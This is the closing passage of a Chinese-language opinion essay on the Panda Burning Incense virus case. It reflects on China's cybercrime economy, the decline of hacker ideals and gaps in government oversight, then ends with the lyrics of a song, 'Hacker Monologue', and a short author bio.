我相信,熊猫烧香病毒案将是对近几年日益泛滥的黑色经济的严重警告,但有需求就有市场,国内计算机犯罪浪潮不会因此而衰落,相反依然将随着互联网经济的高速发展而频繁来临,并将逐步与传统利益集团和势力勾结,成为其转型和扩张的组成部分。传统的黑客文化和精神如果找不到新的出路,也将仍然无法抵挡来自金钱的侵蚀而日益边缘化,如同今天中国音乐圈里声威日下的摇滚。作为黑色经济的对立面,政府有关管理部门如果依然维系现有的多头管理的局面,则依然缺乏对计算机犯罪的预警和控管能力的足够保证。至于信息安全行业,既不会因为熊猫烧香病毒案的破获而减少厂商间的口水,也不会因此赢得或失去更多的市场机会。真正通过熊猫烧香病毒案,我们可以看到的,依然是社会伦理道德规律在互联网虚拟世界上的验证,这多少让我们疲惫麻木的心灵得到了一点安慰,让我们依然可以对明天的网络充满期待和信心。

让我们再一次戴上耳机,聆听《黑客独白》,为失去理想的黑客唱一首挽歌:
什么是黑客谁才是黑客不是你不是我中国没有黑客我的黑夜比白天多黑夜的故事比白天多我没有说错我的姑娘我的朋友快来加我我有很多话儿要对你说

什么是黑客黑客是什么黑客是黑夜的不速之客你想当黑客你就来找我陪我喝可乐带你去快乐我不黑你你不黑我我们一起拉拉手只是唱唱歌

你是个黑客我是个黑客满街是黑客便地是黑客大人做黑客小孩做黑客你是老黑客我是小黑客记者炒黑客商人爱黑客黑客没卖完还来了红客

这样的黑客不是我所说 这样的黑客不是我所做黑客红客到底是什么 不是你不是我 全是他们说

_______________________________________________________________
作者信息:
老鹰,中国鹰派联盟网发起人。长期致力于信息安全领域,倡导营造中国安全文化和文化安全。
个人博客:http://blog.sina.com.cn/u/1237207140鹰盟网官方站点:http://www.chinaeagle.org/鹰缘全球中文网:http://www.neteasy.cn/